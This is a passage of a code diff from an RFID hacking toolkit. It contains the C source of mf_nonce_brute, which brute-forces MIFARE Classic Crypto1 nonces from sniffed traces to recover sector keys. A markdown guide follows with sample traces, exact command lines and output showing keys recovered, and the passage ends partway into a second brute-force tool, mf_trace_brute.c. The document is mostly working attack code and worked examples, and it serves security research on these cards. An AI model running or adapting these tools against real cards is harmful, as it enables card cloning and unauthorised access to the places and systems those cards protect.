static void *brute_thread(void *arguments) {
|
||||
|
||||
struct thread_args *args = (struct thread_args *) arguments;
|
||||
|
||||
struct Crypto1State *revstate = NULL;
|
||||
uint64_t key; // recovered key candidate
|
||||
uint32_t ks2; // keystream used to encrypt reader response
|
||||
uint32_t ks3; // keystream used to encrypt tag response
|
||||
uint32_t ks4; // keystream used to encrypt next command
|
||||
uint32_t nt; // current tag nonce
|
||||
|
||||
uint32_t p64 = 0;
|
||||
// TC == 4 (
|
||||
// threads calls 0 ev1 == false
|
||||
// threads calls 0,1,2 ev1 == true
|
||||
for (uint32_t count = args->idx; count <= 0xFFFF; count += thread_count) {
|
||||
|
||||
if (__atomic_load_n(&global_found, __ATOMIC_ACQUIRE) == 1) {
|
||||
break;
|
||||
}
|
||||
|
||||
nt = count << 16 | prng_successor(count, 16);
|
||||
|
||||
if (candidate_nonce(args->xored, nt, args->ev1) == false) {
|
||||
continue;
|
||||
}
|
||||
|
||||
p64 = prng_successor(nt, 64);
|
||||
ks2 = ar_enc ^ p64;
|
||||
ks3 = at_enc ^ prng_successor(p64, 32);
|
||||
revstate = lfsr_recovery64(ks2, ks3);
|
||||
ks4 = crypto1_word(revstate, 0, 0);
|
||||
|
||||
if (ks4 == 0) {
|
||||
free(revstate);
|
||||
continue;
|
||||
}
|
||||
|
||||
// lock this section to avoid interlacing prints from different threats
|
||||
pthread_mutex_lock(&print_lock);
|
||||
if (args->ev1) {
|
||||
printf("\n---> " _YELLOW_(" Possible key candidate")" <---\n");
|
||||
}
|
||||
|
||||
#if 0
|
||||
printf("thread #%d idx %d %s\n", args->thread, args->idx, (args->ev1) ? "(Ev1)" : "");
|
||||
printf("current nt(%08x) ar_enc(%08x) at_enc(%08x)\n", nt, ar_enc, at_enc);
|
||||
printf("ks2:%08x\n", ks2);
|
||||
printf("ks3:%08x\n", ks3);
|
||||
printf("ks4:%08x\n", ks4);
|
||||
#endif
|
||||
if (cmd_enc) {
|
||||
uint32_t decrypted = ks4 ^ cmd_enc;
|
||||
printf("CMD enc( %08x )\n", cmd_enc);
|
||||
printf(" dec( %08x ) ", decrypted);
|
||||
|
||||
// check if cmd exists
|
||||
uint8_t isOK = checkValidCmd(decrypted);
|
||||
if (isOK == false) {
|
||||
printf(_RED_("<-- not a valid cmd\n"));
|
||||
pthread_mutex_unlock(&print_lock);
|
||||
free(revstate);
|
||||
continue;
|
||||
}
|
||||
|
||||
// Add a crc-check.
|
||||
isOK = checkCRC(decrypted);
|
||||
if (isOK == false) {
|
||||
printf(_RED_("<-- not a valid crc\n"));
|
||||
pthread_mutex_unlock(&print_lock);
|
||||
free(revstate);
|
||||
continue;
|
||||
}
|
||||
|
||||
printf("<-- " _GREEN_("valid cmd") "\n");
|
||||
}
|
||||
|
||||
lfsr_rollback_word(revstate, 0, 0);
|
||||
lfsr_rollback_word(revstate, 0, 0);
|
||||
lfsr_rollback_word(revstate, 0, 0);
|
||||
lfsr_rollback_word(revstate, nr_enc, 1);
|
||||
lfsr_rollback_word(revstate, uid ^ nt, 0);
|
||||
crypto1_get_lfsr(revstate, &key);
|
||||
free(revstate);
|
||||
|
||||
if (args->ev1) {
|
||||
// if it was EV1, we know for sure xxxAAAAAAAA recovery
|
||||
printf("\nKey candidate [ " _YELLOW_("....%08" PRIx64)" ]\n\n", key & 0xFFFFFFFF);
|
||||
__sync_fetch_and_add(&global_found_candidate, 1);
|
||||
} else {
|
||||
printf("\nKey candidate [ " _GREEN_("....%08" PRIx64) " ]", key & 0xFFFFFFFF);
|
||||
printf("\nKey candidate [ " _GREEN_("%12" PRIx64) " ]\n\n", key);
|
||||
__sync_fetch_and_add(&global_found, 1);
|
||||
}
|
||||
// release lock
|
||||
pthread_mutex_unlock(&print_lock);
|
||||
__sync_fetch_and_add(&global_candidate_key, key);
|
||||
break;
|
||||
}
|
||||
free(args);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Bruteforce the upper 16 bits of the key
|
||||
static void *brute_key_thread(void *arguments) {
|
||||
|
||||
struct thread_key_args *args = (struct thread_key_args *) arguments;
|
||||
uint8_t local_enc[args->enc_len];
|
||||
memcpy(local_enc, args->enc, args->enc_len);
|
||||
|
||||
for (uint64_t count = args->idx; count <= 0xFFFF; count += thread_count) {
|
||||
|
||||
uint64_t key = args->part_key | (count << 32);
|
||||
|
||||
// Init cipher with key
|
||||
struct Crypto1State *pcs = crypto1_create(key);
|
||||
|
||||
// NESTED decrypt nt with help of new key
|
||||
crypto1_word(pcs, args->nt_enc ^ args->uid, 1);
|
||||
crypto1_word(pcs, args->nr_enc, 1);
|
||||
crypto1_word(pcs, 0, 0);
|
||||
crypto1_word(pcs, 0, 0);
|
||||
|
||||
// decrypt 22 bytes
|
||||
uint8_t dec[args->enc_len];
|
||||
for (int i = 0; i < args->enc_len; i++) {
|
||||
dec[i] = crypto1_byte(pcs, 0x00, 0) ^ local_enc[i];
|
||||
}
|
||||
|
||||
crypto1_destroy(pcs);
|
||||
|
||||
// check if cmd exists
|
||||
if (checkValidCmdByte(dec, args->enc_len) == false) {
|
||||
continue;
|
||||
}
|
||||
|
||||
__sync_fetch_and_add(&global_found_candidate, 1);
|
||||
|
||||
// lock this section to avoid interlacing prints from different threats
|
||||
pthread_mutex_lock(&print_lock);
|
||||
printf("\nenc: %s\n", sprint_hex_inrow_ex(local_enc, args->enc_len, 0));
|
||||
printf("dec: %s\n", sprint_hex_inrow_ex(dec, args->enc_len, 0));
|
||||
|
||||
if (key == global_candidate_key) {
|
||||
printf("\nValid Key found [ " _GREEN_("%012" PRIx64) " ] - " _YELLOW_("matches candidate") "\n\n", key);
|
||||
} else {
|
||||
printf("\nValid Key found [ " _GREEN_("%012" PRIx64) " ]\n\n", key);
|
||||
}
|
||||
|
||||
pthread_mutex_unlock(&print_lock);
|
||||
}
|
||||
free(args);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static int usage(void) {
|
||||
printf("\n");
|
||||
printf("syntax: mf_nonce_brute <uid> <nt> <nt_par_err> <nr> <ar> <ar_par_err> <at> <at_par_err> [<next_command>]\n\n");
|
||||
printf("how to convert trace data to needed input:\n");
|
||||
printf(" nt in trace = 8c! 42 e6! 4e!\n");
|
||||
printf(" nt = 8c42e64e\n");
|
||||
printf(" nt_par_err = 1011\n\n");
|
||||
printf("samples:\n");
|
||||
printf("\n");
|
||||
printf(" ./mf_nonce_brute fa247164 fb47c594 0000 71909d28 0c254817 1000 0dc7cfbd 1110\n");
|
||||
printf("\n");
|
||||
printf("**** Possible key candidate ****\n");
|
||||
printf("Key candidate: [....ffffffff]\n");
|
||||
printf("Too few next cmd bytes, skipping phase 2\n");
|
||||
printf("\n");
|
||||
printf(" ./mf_nonce_brute 96519578 d7e3c6ac 0011 cd311951 9da49e49 0010 2bb22e00 0100 a4f7f398ebdb4e484d1cb2b174b939d18b469f3fa5d9caab\n");
|
||||
printf("\n");
|
||||
printf("enc: A4F7F398EBDB4E484D1CB2B174B939D18B469F3FA5D9CAABBFA018EC7E0CC5721DE2E590F64BD0A5B4EFCE71\n");
|
||||
printf("dec: 30084A24302F8102F44CA5020500A60881010104763930084A24302F8102F44CA5020500A608810101047639\n");
|
||||
printf("Valid Key found: [3b7e4fd575ad]\n\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int main(int argc, const char *argv[]) {
|
||||
printf("\nMifare classic nested auth key recovery\n\n");
|
||||
|
||||
if (argc < 9) return usage();
|
||||
|
||||
sscanf(argv[1], "%x", &uid);
|
||||
sscanf(argv[2], "%x", &nt_enc);
|
||||
sscanf(argv[3], "%x", &nt_par_err);
|
||||
sscanf(argv[4], "%x", &nr_enc);
|
||||
sscanf(argv[5], "%x", &ar_enc);
|
||||
sscanf(argv[6], "%x", &ar_par_err);
|
||||
sscanf(argv[7], "%x", &at_enc);
|
||||
sscanf(argv[8], "%x", &at_par_err);
|
||||
|
||||
// next encrypted command + a full read/write
|
||||
int enc_len = 0;
|
||||
uint8_t enc[ENC_LEN] = {0};
|
||||
if (argc > 9) {
|
||||
param_gethex_to_eol(argv[9], 0, enc, sizeof(enc), &enc_len);
|
||||
cmd_enc = (enc[0] << 24 | enc[1] << 16 | enc[2] << 8 | enc[3]);
|
||||
}
|
||||
|
||||
printf("----------- " _CYAN_("information") " ------------------------\n");
|
||||
printf("uid.................. %08x\n", uid);
|
||||
printf("nt encrypted......... %08x\n", nt_enc);
|
||||
printf("nt parity err........ %04x\n", nt_par_err);
|
||||
printf("nr encrypted......... %08x\n", nr_enc);
|
||||
printf("ar encrypted......... %08x\n", ar_enc);
|
||||
printf("ar parity err........ %04x\n", ar_par_err);
|
||||
printf("at encrypted......... %08x\n", at_enc);
|
||||
printf("at parity err........ %04x\n", at_par_err);
|
||||
|
||||
if (argc > 9) {
|
||||
printf("next encrypted cmd... %s\n", sprint_hex_inrow_ex(enc, enc_len, 0));
|
||||
}
|
||||
|
||||
uint64_t t1 = msclock();
|
||||
uint16_t nt_par = parity_from_err(nt_enc, nt_par_err);
|
||||
uint16_t ar_par = parity_from_err(ar_enc, ar_par_err);
|
||||
uint16_t at_par = parity_from_err(at_enc, at_par_err);
|
||||
|
||||
// calc (parity XOR corresponding nonce bit encoded with the same keystream bit)
|
||||
uint16_t xored = xored_bits(nt_par, nt_enc, ar_par, ar_enc, at_par, at_enc);
|
||||
|
||||
#if !defined(_WIN32) || !defined(__WIN32__)
|
||||
thread_count = sysconf(_SC_NPROCESSORS_CONF);
|
||||
if (thread_count < 2)
|
||||
thread_count = 2;
|
||||
#endif /* _WIN32 */
|
||||
|
||||
printf("\nBruteforce using " _YELLOW_("%d") " threads\n\n", thread_count);
|
||||
|
||||
pthread_t threads[thread_count];
|
||||
|
||||
// create a mutex to avoid interlacing print commands from our different threads
|
||||
pthread_mutex_init(&print_lock, NULL);
|
||||
|
||||
// if we have 4 or more bytes, look for a default key
|
||||
if (enc_len > 3) {
|
||||
printf("----------- " _CYAN_("Phase 1 pre-processing") " ------------------------\n");
|
||||
printf("Testing default keys using NESTED authentication...\n");
|
||||
struct thread_key_args *def = calloc(1, sizeof(struct thread_key_args));
|
||||
def->thread = 0;
|
||||
def->idx = 0;
|
||||
def->uid = uid;
|
||||
def->nt_enc = nt_enc;
|
||||
def->nr_enc = nr_enc;
|
||||
def->enc_len = enc_len;
|
||||
memcpy(def->enc, enc, enc_len);
|
||||
pthread_create(&threads[0], NULL, check_default_keys, (void *)def);
|
||||
pthread_join(threads[0], NULL);
|
||||
if (global_found) {
|
||||
goto out;
|
||||
}
|
||||
}
|
||||
|
||||
printf("\n----------- " _CYAN_("Phase 2 examine") " -------------------------------\n");
|
||||
printf("Looking for the last bytes of the encrypted tagnonce\n");
|
||||
printf("\nTarget old MFC...\n");
|
||||
// the rest of available threads to EV1 scenario
|
||||
for (int i = 0; i < thread_count; ++i) {
|
||||
struct thread_args *a = calloc(1, sizeof(struct thread_args));
|
||||
a->xored = xored;
|
||||
a->thread = i;
|
||||
a->idx = i;
|
||||
a->ev1 = false;
|
||||
pthread_create(&threads[i], NULL, brute_thread, (void *)a);
|
||||
}
|
||||
|
||||
// wait for threads to terminate:
|
||||
for (int i = 0; i < thread_count; ++i) {
|
||||
pthread_join(threads[i], NULL);
|
||||
}
|
||||
|
||||
t1 = msclock() - t1;
|
||||
printf("execution time " _YELLOW_("%.2f") " sec\n", (float)t1 / 1000.0);
|
||||
|
||||
if (!global_found && !global_found_candidate) {
|
||||
printf("\nTarget MFC Ev1...\n");
|
||||
|
||||
t1 = msclock();
|
||||
// the rest of available threads to EV1 scenario
|
||||
for (int i = 0; i < thread_count; ++i) {
|
||||
struct thread_args *a = calloc(1, sizeof(struct thread_args));
|
||||
a->xored = xored;
|
||||
a->thread = i;
|
||||
a->idx = i;
|
||||
a->ev1 = true;
|
||||
pthread_create(&threads[i], NULL, brute_thread, (void *)a);
|
||||
}
|
||||
|
||||
// wait for threads to terminate:
|
||||
for (int i = 0; i < thread_count; ++i) {
|
||||
pthread_join(threads[i], NULL);
|
||||
}
|
||||
|
||||
t1 = msclock() - t1;
|
||||
printf("execution time " _YELLOW_("%.2f") " sec\n", (float)t1 / 1000.0);
|
||||
|
||||
|
||||
if (!global_found && !global_found_candidate) {
|
||||
printf("\nFailed to find a key\n\n");
|
||||
goto out;
|
||||
}
|
||||
}
|
||||
|
||||
if (enc_len < 4) {
|
||||
printf("Too few next cmd bytes, skipping phase 3\n\n");
|
||||
goto out;
|
||||
}
|
||||
|
||||
// reset thread signals
|
||||
global_found_candidate = 0;
|
||||
|
||||
printf("\n----------- " _CYAN_("Phase 3 validating") " ----------------------------\n");
|
||||
printf("uid.................. %08x\n", uid);
|
||||
printf("partial key.......... %08x\n", (uint32_t)(global_candidate_key & 0xFFFFFFFF));
|
||||
printf("possible key......... %012" PRIx64 "\n", global_candidate_key);
|
||||
printf("nt enc............... %08x\n", nt_enc);
|
||||
printf("nr enc............... %08x\n", nr_enc);
|
||||
printf("next encrypted cmd... %s\n", sprint_hex_inrow_ex(enc, enc_len, 0));
|
||||
printf("\nLooking for the upper 16 bits of the key\n");
|
||||
fflush(stdout);
|
||||
|
||||
// threads
|
||||
for (int i = 0; i < thread_count; ++i) {
|
||||
struct thread_key_args *b = calloc(1, sizeof(struct thread_key_args));
|
||||
b->thread = i;
|
||||
b->idx = i;
|
||||
b->uid = uid;
|
||||
b->part_key = (uint32_t)(global_candidate_key & 0xFFFFFFFF);
|
||||
b->nt_enc = nt_enc;
|
||||
b->nr_enc = nr_enc;
|
||||
b->enc_len = enc_len;
|
||||
memcpy(b->enc, enc, enc_len);
|
||||
pthread_create(&threads[i], NULL, brute_key_thread, (void *)b);
|
||||
}
|
||||
|
||||
// wait for threads to terminate:
|
||||
for (int i = 0; i < thread_count; ++i) {
|
||||
pthread_join(threads[i], NULL);
|
||||
}
|
||||
|
||||
|
||||
if (global_found_candidate > 1) {
|
||||
printf("Key recovery ( " _GREEN_("ok") " )\n");
|
||||
printf("Found " _GREEN_("%d") " possible keys\n", global_found_candidate);
|
||||
printf(_YELLOW_("You need to test them manually, start with the one matching the candidate\n\n"));
|
||||
} else if (global_found_candidate == 1) {
|
||||
printf("Key recovery ( " _GREEN_("ok") " )\n\n");
|
||||
} else {
|
||||
printf("Key recovery ( " _RED_("fail") " )\n\n");
|
||||
}
|
||||
|
||||
out:
|
||||
// clean up mutex
|
||||
pthread_mutex_destroy(&print_lock);
|
||||
return 0;
|
||||
}
|
205
tools/mfc/card_reader/mf_nonce_brute_examples.md
Normal file
205
tools/mfc/card_reader/mf_nonce_brute_examples.md
Normal file
|
@ -0,0 +1,205 @@
|
|||
mf_nonce_brute
|
||||
==============
|
||||
|
||||
Nested autenticated sector key recovery tool
|
||||
-----------------------------------------------
|
||||
|
||||
Compatible tags:
|
||||
* Mifare Classic 1k (4k)
|
||||
* Mifare Plus in SL1 mode
|
||||
|
||||
To recover keys to nested autenticated sectors you need a reader-card communication log. To get it use
|
||||
hardware tools that able to sniff communication (for example Proxmark3 or HydraNFC).
|
||||
|
||||
This enhanced version:
|
||||
First 2 bytes should be bruteforced in phase 2 with mf_key_brute tool that interacts with a card.
|
||||
|
||||
Sample trace:
|
||||
```
|
||||
93 70 fd ac f6 d8 7f 21 4f // select card with UID fdacf6d8
|
||||
TAG 08 b6 dd // sak
|
||||
60 04 d1 3d // wanna auth block 0x04 with A key
|
||||
TAG ed 12 9c 74 // 1st auth clear text nt
|
||||
55 53 9f cc 41 8d e8 f3 // nr', ar' (nr^ks1, ar^ks2 )
|
||||
TAG 05 49 e1 65 // at' ( at^ks3 )
|
||||
03 24 26 56 // wanna read block 0x04
|
||||
TAG ac 69 ef 58 45 e1 c2 1d a9 47 a5 94 54 ef 5d c7 1e a9 // block 0x04 content
|
||||
d4 3e a8 aa
|
||||
TAG 8e 8e e3 e6 e9 e2 5f dd f6 08 ce fb 02 6a db 75 94 2f
|
||||
79 77 68 3c
|
||||
TAG e0 00 00 80 80 08 cc 80 08 9c 82 e0 68 64 60 30 91 60 // 18 bytes = 16 byte content + 2 bytes crc
|
||||
ea 88 c3 c2 // 4 byte read cmd
|
||||
TAG a3 76 dc df c1 42 e0 ee c6 75 a4 ca eb 0c da eb 46 a0 // 18 bytes = 16 byte content + 2 bytes crc ks8 + crc
|
||||
2d 27 ab 6f // wanna auth to 0x04 block with key B
|
||||
|
||||
-------Until this line we can recover key or decrypt communication with no troubles (see mfkey64 tool)--------------------------------
|
||||
|
||||
TAG 52 6e af 8b // nested auth encrypted tag nonce that we don't know
|
||||
8e 21 3a 29 a4 80 7e 02 // nr_enc = nr^ks1, ar_enc = ar^ks2
|
||||
TAG b9 43 74 8d // at_enc = at^ks3
|
||||
e2 25 f8 32 // probably next command (actually is read block cmd, but we don't know it yet)
|
||||
TAG 1f 26 82 8d 12 21 dd 42 c2 84 3e d0 26 7f 6b 2a 81 a9 // probably data
|
||||
ba 85 1d 36 // probably read cmd
|
||||
TAG 62 a8 78 69 ee 36 22 16 1c ff 4b 4e 69 cb 27 c2 e8 7e // probably data
|
||||
a7 b1 c8 da // probably read cmd
|
||||
TAG b2 fc 6c 65 60 ec 35 83 87 56 e3 7e 3c bf 38 b8 73 21 // probably data
|
||||
99 92 13 55 // probably read cmd
|
||||
TAG 93 5b 65 a3 1d 8c 75 b8 3a 63 e2 31 f0 d0 a9 24 9a f6 // probably data
|
||||
```
|
||||
|
||||
|
||||
Phase 1
|
||||
-------
|
||||
|
||||
Syntax:
|
||||
`mf_nonce_brute <uid> <{nt}> <nt_par_err> <{nr}> <{ar}> <ar_par_err> <{at}> <at_par_err> [<{next_command}>]`
|
||||
|
||||
Example: if `nt` in trace is `8c! 42 e6! 4e!`, then `nt` is `8c42e64e` and `nt_par_err` is `1011`
|
||||
|
||||
Example with parity (from this trace http://www.proxmark.org/forum/viewtopic.php?pid=550#p550) :
|
||||
|
||||
```
|
||||
+ 561882: 1 : 26
|
||||
+ 64: 2 : TAG 04 00
|
||||
+ 10217: 2 : 93 20
|
||||
+ 64: 5 : TAG 9c 59 9b 32 6c UID
|
||||
+ 12313: 9 : 93 70 9c 59 9b 32 6c 6b 30
|
||||
+ 64: 3 : TAG 08 b6 dd
|
||||
+ 923318: 4 : 60 00 f5 7b AUTH Block 0
|
||||
+ 112: 4 : TAG 82 a4 16 6c Nonce Tag (NT)
|
||||
+ 6985: 8 : a1 e4! 58 ce! 6e ea! 41 e0! NR , AR
|
||||
+ 64: 4 : TAG 5c! ad f4 39! AT
|
||||
+ 811513: 4 : 8e 0e! 5d! b9 AUTH Block 0 (nested)
|
||||
+ 112: 4 : TAG 5a! 92 0d! 85! Nonce Tag (NT)
|
||||
+ 6946: 8 : 98! d7 6b! 77 d6 c6 e8 70 NR , AR
|
||||
+ 64: 4 : TAG ca 7e! 0b! 63! AT
|
||||
+ 670868: 4 : 3e! 70 9c! 8a
|
||||
+ 112: 4 : TAG 36! 41 24! 79
|
||||
+ 9505: 8 : 1b! 8c 3a! 48! 83 5a 4a! 27
|
||||
+ 64: 4 : TAG 40! 6a! 99! 4b
|
||||
+ 905612: 4 : c9 7c 64! 13! !crc
|
||||
+ 112: 4 : TAG b5! ab! 1d! 2b
|
||||
+ 6936: 8 : 7e! d2 5c! ca! 4b! 50! 88! c4 !crc
|
||||
+ 64: 4 : TAG bf dd 01 be!
|
||||
+ 987853: 4 : 56 98 49 d6! !crc
|
||||
```
|
||||
=>
|
||||
```
|
||||
./mf_nonce_brute 9c599b32 82a4166c 0000 a1e458ce 6eea41e0 0101 5cadf439 1001 8e0e5db9
|
||||
| | | | | | | | |
|
||||
+UID +nt_enc | +nr_enc +ar_enc | +at_enc | +encrypted next cmd
|
||||
+nt_par_err +at_par_err +at_par_err
|
||||
```
|
||||
|
||||
These two taken from above use the plaintext tagnonce `nt`=`82a4166c`, they still find a possible key candidate.
|
||||
```
|
||||
./mf_nonce_brute 9c599b32 82a4166c 0000 a1e458ce 6eea41e0 0101 5cadf439 1001
|
||||
./mf_nonce_brute 9c599b32 82a4166c 0000 98d76b77 d6c6e870 0000 ca7e0b63 0111
|
||||
```
|
||||
|
||||
This one uses the encrypted tagnonce `nt`=`5a920d85`, it finds a valid key.
|
||||
```
|
||||
./mf_nonce_brute 9c599b32 5a920d85 1011 98d76b77 d6c6e870 0000 ca7e0b63 0111
|
||||
```
|
||||
|
||||
This one uses the encrypted tagnonce `nt`=`5a920d85` and the encrypted cmd `3e709c8a` to validate , it finds a valid key.
|
||||
```
|
||||
./mf_nonce_brute 9c599b32 5a920d85 1011 98d76b77 d6c6e870 0000 ca7e0b63 0111 3e709c8a
|
||||
```
|
||||
Full output:
|
||||
```
|
||||
./mf_nonce_brute 9c599b32 5a920d85 1011 98d76b77 d6c6e870 0000 ca7e0b63 0111 3e709c8a
|
||||
Mifare classic nested auth key recovery. Phase 1.
|
||||
-------------------------------------------------
|
||||
uid: 9c599b32
|
||||
nt encrypted: 5a920d85
|
||||
nt parity err: 1011
|
||||
nr encrypted: 98d76b77
|
||||
ar encrypted: d6c6e870
|
||||
ar parity err: 0000
|
||||
at encrypted: ca7e0b63
|
||||
at parity err: 0111
|
||||
next cmd enc: 3e709c8a
|
||||
|
||||
|
||||
Starting 4 threads to bruteforce encrypted tag nonce last bytes
|
||||
CMD enc(3e709c8a)
|
||||
dec(6000f57b) <-- Valid cmd
|
||||
|
||||
Valid Key found: [ffffffffffff]
|
||||
|
||||
Time in mf_nonce_brute (Phase 1): 1763 ticks 2.0 seconds
|
||||
```
|
||||
|
||||
[2024-07-11]
|
||||
There is an odd case where we find multiple valid MIFARE Classic protocol commands with a valid ISO14443-A CRC when decrypting four bytes and are bruteforcing the last upper 16 bit of keyspace in phase 3.
|
||||
|
||||
The command has been updated to give a more informative text in order to help the user understanding and what to do next.
|
||||
|
||||
```
|
||||
./mf_nonce_brute fcf77b54 1b456bdd 1110 f215b6 f9eb95e9 0011 bf55d0b1 0000 AAD4126B
|
||||
```
|
||||
|
||||
|
||||
When running you get the following full output
|
||||
|
||||
```
|
||||
./mf_nonce_brute$ ./mf_nonce_brute fcf77b54 1b456bdd 1110 f215b6 f9eb95e9 0011 bf55d0b1 0000 AAD4126B
|
||||
|
||||
Mifare classic nested auth key recovery
|
||||
|
||||
----------- information ------------------------
|
||||
uid.................. fcf77b54
|
||||
nt encrypted......... 1b456bdd
|
||||
nt parity err........ 1110
|
||||
nr encrypted......... 00f215b6
|
||||
ar encrypted......... f9eb95e9
|
||||
ar parity err........ 0011
|
||||
at encrypted......... bf55d0b1
|
||||
at parity err........ 0000
|
||||
next encrypted cmd... AAD4126B
|
||||
|
||||
Bruteforce using 8 threads
|
||||
|
||||
----------- Phase 1 pre-processing ------------------------
|
||||
Testing default keys using NESTED authentication...
|
||||
|
||||
----------- Phase 2 examine -------------------------------
|
||||
Looking for the last bytes of the encrypted tagnonce
|
||||
|
||||
Target old MFC...
|
||||
CMD enc( aad4126b )
|
||||
dec( 302424cf ) <-- valid cmd
|
||||
|
||||
Key candidate [ ....37afcc2b ]
|
||||
Key candidate [ a70d37afcc2b ]
|
||||
|
||||
execution time 0.47 sec
|
||||
|
||||
----------- Phase 3 validating ----------------------------
|
||||
uid.................. fcf77b54
|
||||
partial key.......... 37afcc2b
|
||||
possible key......... a70d37afcc2b
|
||||
nt enc............... 1b456bdd
|
||||
nr enc............... 00f215b6
|
||||
next encrypted cmd... AAD4126B
|
||||
|
||||
Looking for the upper 16 bits of the key
|
||||
|
||||
enc: AAD4126B
|
||||
dec: 610BFEDC
|
||||
|
||||
Valid Key found [ 7c2337afcc2b ]
|
||||
|
||||
|
||||
enc: AAD4126B
|
||||
dec: 302424CF
|
||||
|
||||
Valid Key found [ a70d37afcc2b ] - matches candidate
|
||||
|
||||
|
||||
Odd case but we found 2 possible keys
|
||||
You need to test all of them manually, start with the one matching the candidate
|
||||
|
||||
```
|
||||
|
319
tools/mfc/card_reader/mf_trace_brute.c
Normal file
319
tools/mfc/card_reader/mf_trace_brute.c
Normal file
|
@ -0,0 +1,319 @@
|
|||
//
|
||||
// bruteforce the upper 16bits of a partial key recovered from mf_nonce_brute.
|
||||
// J-run's original idea was a two part recovery vector with first a offline trace and then online for 2 bytes.
|
||||
//
|
||||
// This idea is two use only offline, to recover a nested authentication key.
|
||||
// Assumption, we get a read/write command after a nested auth, we need 22 bytes of data.
|
||||
// Iceman, 2021,
|
||||
//
|
||||
|
||||
#define __STDC_FORMAT_MACROS
|
||||
|
||||
#include <inttypes.h>
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
#include <pthread.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include "ctype.h"
|
||||
#include "crapto1/crapto1.h"
|
||||
#include "protocol.h"
|
||||
#include "iso14443crc.h"
|
||||
#include <util_posix.h>
|
||||
|
||||
#define AEND "\x1b[0m"
|
||||
#define _RED_(s) "\x1b[31m" s AEND
|
||||
#define _GREEN_(s) "\x1b[32m" s AEND
|
||||
#define _YELLOW_(s) "\x1b[33m" s AEND
|
||||
#define _CYAN_(s) "\x1b[36m" s AEND
|
||||
|
||||
// a global mutex to prevent interlaced printing from different threads
|
||||
pthread_mutex_t print_lock;
|
||||
|
||||
#define ENC_LEN (4 + 16 + 2)
|
||||
//--------------------- define options here
|
||||
|
||||
typedef struct thread_args {
|
||||
int thread;
|
||||
int idx;
|
||||
uint32_t uid;
|
||||
uint32_t part_key;
|
||||
uint32_t nt_enc;
|
||||
uint32_t nr_enc;
|
||||
uint16_t enc_len;
|
||||
uint8_t enc[ENC_LEN]; // next encrypted command + a full read/write
|
||||
} targs;
|
||||
|
||||
//------------------------------------------------------------------
|
||||
uint8_t cmds[8][2] = {
|
||||
{ISO14443A_CMD_READBLOCK, 18},
|
||||
{ISO14443A_CMD_WRITEBLOCK, 18},
|
||||
{MIFARE_AUTH_KEYA, 0},
|
||||
{MIFARE_AUTH_KEYB, 0},
|
||||
{MIFARE_CMD_INC, 6},
|
||||
{MIFARE_CMD_DEC, 6},
|
||||
{MIFARE_CMD_RESTORE, 6},
|
||||
{MIFARE_CMD_TRANSFER, 0}
|
||||
};
|
||||
|
||||
static int global_found = 0;
|
||||
static int thread_count = 2;
|
||||
|
||||
static int param_getptr(const char *line, int *bg, int *en, int paramnum) {
|
||||
int i;
|
||||
int len = strlen(line);
|
||||
|
||||
*bg = 0;
|
||||
*en = 0;
|
||||
|
||||
// skip spaces
|
||||
while (line[*bg] == ' ' || line[*bg] == '\t')(*bg)++;
|
||||
if (*bg >= len) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
for (i = 0; i < paramnum; i++) {
|
||||
while (line[*bg] != ' ' && line[*bg] != '\t' && line[*bg] != '\0')(*bg)++;
|
||||
while (line[*bg] == ' ' || line[*bg] == '\t')(*bg)++;
|
||||
|
||||
if (line[*bg] == '\0') return 1;
|
||||
}
|
||||
|
||||
*en = *bg;
|
||||
while (line[*en] != ' ' && line[*en] != '\t' && line[*en] != '\0')(*en)++;
|
||||
|
||||
(*en)--;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int param_gethex_to_eol(const char *line, int paramnum, uint8_t *data, int maxdatalen, int *datalen) {
|
||||
int bg, en;
|
||||
uint32_t temp;
|
||||
char buf[5] = {0};
|
||||
|
||||
if (param_getptr(line, &bg, &en, paramnum)) return 1;
|
||||
|
||||
*datalen = 0;
|
||||
|
||||
int indx = bg;
|
||||
while (line[indx]) {
|
||||
if (line[indx] == '\t' || line[indx] == ' ') {
|
||||
indx++;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (isxdigit(line[indx])) {
|
||||
buf[strlen(buf) + 1] = 0x00;
|
||||
buf[strlen(buf)] = line[indx];
|
||||
} else {
|
||||
// if we have symbols other than spaces and hex
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (*datalen >= maxdatalen) {
|
||||
// if we don't have space in buffer and have symbols to translate
|
||||
return 2;
|
||||
}
|
||||
|
||||
if (strlen(buf) >= 2) {
|
||||
sscanf(buf, "%x", &temp);
|
||||
data[*datalen] = (uint8_t)(temp & 0xff);
|
||||
*buf = 0;
|
||||
(*datalen)++;
|
||||
}
|
||||
|
||||
indx++;
|
||||
}
|
||||
|
||||
if (strlen(buf) > 0)
|
||||
//error when not completed hex bytes
|
||||
return 3;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void hex_to_buffer(const uint8_t *buf, const uint8_t *hex_data, const size_t hex_len, const size_t hex_max_len,
|
||||
const size_t min_str_len, const size_t spaces_between, bool uppercase) {
|
||||
|
||||
if (buf == NULL) return;
|
||||
|
||||
char *tmp_base = (char *)buf;
|
||||
char *tmp = tmp_base;
|
||||
size_t i;
|
||||
|
||||
size_t max_len = (hex_len > hex_max_len) ? hex_max_len : hex_len;
|
||||
|
||||
for (i = 0; i < max_len; ++i, tmp += 2 + spaces_between) {
|
||||
snprintf(tmp, hex_max_len - (tmp - tmp_base), (uppercase) ? "%02X" : "%02x", (unsigned int) hex_data[i]);
|
||||
|
||||
for (size_t j = 0; j < spaces_between; j++)
|
||||
snprintf(tmp + 2 + j, hex_max_len - (2 + j + (tmp - tmp_base)), " ");
|
||||
}
|
||||
|
||||
i *= (2 + spaces_between);
|
||||
|
||||
size_t mlen = min_str_len > i ? min_str_len : 0;
|
||||
if (mlen > hex_max_len)
|
||||
mlen = hex_max_len;
|
||||
|
||||
for (; i < mlen; i++, tmp += 1)
|
||||
snprintf(tmp, hex_max_len - (tmp - tmp_base), " ");
|
||||
|
||||
// remove last space
|
||||
*tmp = '\0';
|
||||
}
|
||||
|
||||
static char *sprint_hex_inrow_ex(const uint8_t *data, const size_t len, const size_t min_str_len) {
|
||||
static char buf[100] = {0};
|
||||
